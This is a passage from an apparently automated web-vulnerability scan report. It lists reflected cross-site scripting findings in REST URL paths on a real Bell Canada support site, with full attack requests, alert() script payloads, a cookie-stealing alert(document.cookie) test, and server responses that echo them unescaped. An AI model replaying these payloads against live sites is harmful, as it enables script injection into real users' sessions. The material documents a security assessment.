Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/PageSize.js148c3"><script>alert(1)</script>5909ab26a39" />
...[SNIP]...

2.24. http://internet.bell.ca/js/additional.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/additional.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ead3"><script>alert(1)</script>0a9279de443 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js1ead3"><script>alert(1)</script>0a9279de443/additional.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:24:55 GMT
Connection: close
Set-Cookie: SMSESSION=K1SvgKW6FanSBoT/QKP+cWVWE0v0kUyqvUhwTD3UE/o60UeF4BhT1qQ1zJ1SLEatzYKOycffZJN9nXHKLYb1lPUgN7hWv5rS8avhNdYIW+hRpj1AIQsGfChIgVUT841JybRikpDazNwnjK5PaKWMpMC09p1tShsFTY5zcFMWl6JXnLnN9rmnicuJ58Fujmluw4wDMPrmYlo1cF65WFBGhiPRpH9GmqHPSGPnEJv60Hg/KsineW40Ja/RFP6pWxVV5SVDJ+PbavxgxN6N3JcnJjr1K1uJ8yJ+7FI6a0OgsVL7LKDGO8011g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:24:55 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:24:55 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js1ead3"><script>alert(1)</script>0a9279de443/additional.js" />
...[SNIP]...

2.25. http://internet.bell.ca/js/additional.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/additional.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3f4d"><script>alert(1)</script>26509427828 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/additional.jse3f4d"><script>alert(1)</script>26509427828 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:06 GMT
Connection: close
Set-Cookie: SMSESSION=nxFCuEZFYEhfkuzeOrToV7A27A9SLvb68PW4pwxz6il79DpVORPMEpLbTamM5J5Y1XmVbKkRoHGHBsqJBd/+o/kuQIXz3MrfHl1fWHbg6cSfRPA2hSUMraJeXuhTvRRmWzyS9rSqJE7SvwAvvckE9cfePkjkJB5PA4DVfrdyKcvhMMFDmRKCQIOpi5Z2HPmNjLRW35CrzXG1w5OLuU/FoPkIB9K2vytBVMXQs9Pwd8Me4S1e754O4Bm+Tx6Osi3B/ivenWwydBH/U+VkC4eUYURPati7u/VOZAaIg5XMcj3cRiQtIIXiBA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:06 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:06 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/additional.jse3f4d"><script>alert(1)</script>26509427828" />
...[SNIP]...

2.26. http://internet.bell.ca/js/bannerPlayer.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/bannerPlayer.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30d22"><script>alert(1)</script>064726f485e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js30d22"><script>alert(1)</script>064726f485e/bannerPlayer.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:10 GMT
Connection: close
Set-Cookie: SMSESSION=m1/MoxmVmH/XwTR1K2luLE2ytxNt3BthyWUyDEveDycHFF1M8bbm6reveKsesKLb9wsyS8nujNP8Z2oVY1IfaHK660pYEL5TxvA+853RlGaHJZFz/bpjf9d7u+iGUO7LZJJRgx16AFPg5n8byQBbVTmbE9nowIoiff9xChW6k88/m3OanecAwRrIN++iZVTRKLPiyyRGuX1W642bUhF07W6IxBIXrO66+QmZgMI/8Qf7X58tzN8WFoO0n3z4e0vdH9VNvG+XVbaZLbcR4Lz+SNx+dJnO+nYESUP32S7n0w9tkSMDBKZu4g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:11 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:11 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js30d22"><script>alert(1)</script>064726f485e/bannerPlayer.js" />
...[SNIP]...

